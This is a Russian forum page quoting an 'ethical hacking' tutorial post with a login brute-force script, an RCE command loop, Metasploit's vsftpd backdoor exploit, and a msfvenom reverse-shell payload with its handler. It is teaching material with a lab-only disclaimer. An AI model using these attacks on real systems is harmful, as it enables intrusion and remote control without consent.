📡 Наши контакты

✉️ Email: info@osint42.com

📲 Telegram канал: https://t.me/osint42_go

JavaScript отключён. Для полноценно использования нашего сайта, пожалуйста, включите JavaScript в своём браузере.

Ответить в теме

Сообщение: <blockquote data-quote="HMCoba" data-source="post: 188" data-attributes="member: 102">[ATTACH=full]704[/ATTACH]<img class="smilie smilie--emoji" alt="🧠" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f9e0.png" title="Brain    :brain:" data-shortname=":brain:" loading="lazy" width="64" height="64" /> Путь этичного хакера часть - 7Автоматизация атак с помощью Python и работа с Metasploit<hr /><img class="smilie smilie--emoji" alt="📌" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4cc.png" title="Pushpin    :pushpin:" data-shortname=":pushpin:" loading="lazy" width="64" height="64" /> Оглавление серии:<ul> <li data-xf-list-type="ul">Часть 1 — <a href="https://osint42.org/threads/put-etichnogo-khakera-chast-1-vvedeniye-v-etichnyi-khaking-i-osnovy-pentesta.80/" target="_blank">Введение в этичный хакинг</a></li> <li data-xf-list-type="ul">Часть 2 — <a href="https://osint42.org/threads/put-etichnogo-khakera-chast-2-ustanovka-kali-linux-i-sozdaniye-testovoi-sredy.81/" target="_blank">Установка Kali Linux и создание тестовой среды</a></li> <li data-xf-list-type="ul">Часть 3 — <a href="https://osint42.org/threads/put-etichnogo-khakera-chast-3-testirovaniye-uyazvimostei-veb-prilozhenii.82/" target="_blank">Тестирование уязвимостей веб-приложений</a></li> <li data-xf-list-type="ul">Часть 4 — <a href="https://osint42.org/threads/put-etichnogo-khakera-chast-4-prodvinutyye-ataki-i-analiz-okruzheniya.83/" target="_blank">Продвинутые атаки и анализ окружения</a></li> <li data-xf-list-type="ul">Часть 5 — <a href="https://osint42.org/threads/put-etichnogo-khakera-chast-5-udalennyi-dostup-i-obratnyye-podklyucheniya.93/" target="_blank">Повышение привилегий: путь к root</a></li> <li data-xf-list-type="ul">Часть 6 — <a href="https://osint42.org/threads/povysheniye-privilegii-poisk-suid-i-cron-uyazvimostei.94/" target="_blank">Повышение привилегий, поиск SUID и cron-уязвимостей</a></li> <li data-xf-list-type="ul">Часть 7 — Автоматизация атак с помощью Python и работа с Metasploit</li> </ul><hr /><img class="smilie smilie--emoji" alt="📌" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4cc.png" title="Pushpin    :pushpin:" data-shortname=":pushpin:" loading="lazy" width="64" height="64" /> Зачем автоматизировать атаки?Ручное выполнение одних и тех же действий — медленно и неэффективно.Скрипты на Python позволяют:<ul> <li data-xf-list-type="ul">Перебрать логины/пароли</li> <li data-xf-list-type="ul">Автоматизировать поиск уязвимостей</li> <li data-xf-list-type="ul">Подключаться к целям и загружать полезную нагрузку</li> </ul><hr /><img class="smilie smilie--emoji" alt="📍" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4cd.png" title="Round pushpin    :round_pushpin:" data-shortname=":round_pushpin:" loading="lazy" width="64" height="64" /> Пример 1: Брутфорс логина через форму входа (POST-запрос)Цель — отправить десятки логинов и паролей на сайт и посмотреть, сработает ли что-то.[code=python]import requestsurl = "http://target.site/login"user = "admin"passwords = ["123456", "password", "admin123", "toor"]for pwd in passwords:    data = {"username": user, "password": pwd}    r = requests.post(url, data=data)     if "Добро пожаловать" in r.text:        print(f"[+] Успешно: {user}:{pwd}")        break    else:        print(f"[-] Ошибка: {pwd}")[/code]<img class="smilie smilie--emoji" alt="🔍" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f50d.png" title="Magnifying glass tilted left    :mag:" data-shortname=":mag:" loading="lazy" width="64" height="64" /> Подставьте адрес формы, поля и текст ответа, по которому можно понять — вход выполнен.<hr /><img class="smilie smilie--emoji" alt="📍" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4cd.png" title="Round pushpin    :round_pushpin:" data-shortname=":round_pushpin:" loading="lazy" width="64" height="64" /> Пример 2: Автоматическое выполнение команд через RCEЕсли у вас есть уязвимость Remote Command Execution (например, через GET-параметр):[code=python]import requestsurl = "http://target.site/vuln.php"payloads = ["id", "whoami", "uname -a"]for cmd in payloads:    r = requests.get(url, params={"cmd": cmd})    print(f"$ {cmd}\n{r.text.strip()}\n")[/code]Это полезно для быстрого сбора системной информации.<hr /><img class="smilie smilie--emoji" alt="📦" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4e6.png" title="Package    :package:" data-shortname=":package:" loading="lazy" width="64" height="64" /> Metasploit Framework — краткое введениеMetasploit — один из главных инструментов пентестера. Он содержит сотни эксплойтов, сканеров и полезных загрузчиков.Запуск Metasploit:[code]msfconsole[/code]Откроется интерактивная консоль. Ниже — минимальный сценарий атаки.<hr /><img class="smilie smilie--emoji" alt="📍" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4cd.png" title="Round pushpin    :round_pushpin:" data-shortname=":round_pushpin:" loading="lazy" width="64" height="64" /> Пример: использование эксплойта против уязвимого сервиса1. Запустить консоль:[code]msfconsole[/code]2. Найти эксплойт:[code]search vsftpd[/code]3. Выбрать эксплойт:[code]use exploit/unix/ftp/vsftpd_234_backdoor[/code]4. Указать цель:[code]set RHOSTS 192.168.1.10[/code]5. Запустить:[code]run[/code]Если успешно — будет открыт shell.<hr /><img class="smilie smilie--emoji" alt="📍" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4cd.png" title="Round pushpin    :round_pushpin:" data-shortname=":round_pushpin:" loading="lazy" width="64" height="64" /> Пример: генерация reverse shell payload’а[code]msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf[/code]<img class="smilie smilie--emoji" alt="📎" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4ce.png" title="Paperclip    :paperclip:" data-shortname=":paperclip:" loading="lazy" width="64" height="64" /> Объяснение:– <code class="bbCodeInline">-p</code> — используемый payload– <code class="bbCodeInline">LHOST/LPORT</code> — IP и порт атакующего– <code class="bbCodeInline">-f elf</code> — формат для Linux– <code class="bbCodeInline">> shell.elf</code> — сохранить в файлЗагрузите <code class="bbCodeInline">shell.elf</code> на сервер и сделайте исполняемым:[code]chmod +x shell.elf./shell.elf[/code]На атакующей стороне запустите обработчик:[code]use exploit/multi/handlerset PAYLOAD linux/x86/meterpreter/reverse_tcpset LHOST 192.168.1.5set LPORT 4444run[/code]<img class="smilie smilie--emoji" alt="🔌" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f50c.png" title="Electric plug    :electric_plug:" data-shortname=":electric_plug:" loading="lazy" width="64" height="64" /> При соединении откроется интерактивный Meterpreter-сессия.<hr /><img class="smilie smilie--emoji" alt="💡" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/1f4a1.png" title="Light bulb    :bulb:" data-shortname=":bulb:" loading="lazy" width="64" height="64" /> Дополнительно: команды в Meterpreter[code]sysinfo       — информация о системеgetuid        — под кем мы сейчасshell         — перейти в обычный bashupload file   — загрузить файлdownload file — скачать файл[/code]<hr /><img class="smilie smilie--emoji" alt="✅" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/2705.png" title="White heavy check mark    :white_check_mark:" data-shortname=":white_check_mark:" loading="lazy" width="64" height="64" /> В этом выпуске вы узнали:<ul> <li data-xf-list-type="ul">Как с помощью Python автоматизировать атаки на форму входа</li> <li data-xf-list-type="ul">Как выполнять команды на удалённой машине через RCE</li> <li data-xf-list-type="ul">Как использовать Metasploit и msfvenom</li> <li data-xf-list-type="ul">Как сгенерировать шелл и подключиться через Meterpreter</li> </ul><img class="smilie smilie--emoji" alt="⚠️" src="https://cdn.jsdelivr.net/joypixels/assets/8.0/png/unicode/64/26a0.png" title="Warning    :warning:" data-shortname=":warning:" loading="lazy" width="64" height="64" /> ВАЖНО:Все действия допустимы только в рамках учебной среды или с прямого согласия владельца системы. Несанкционированный доступ квалифицируется как преступление и может повлечь за собой уголовную ответственность.</blockquote>

Проверка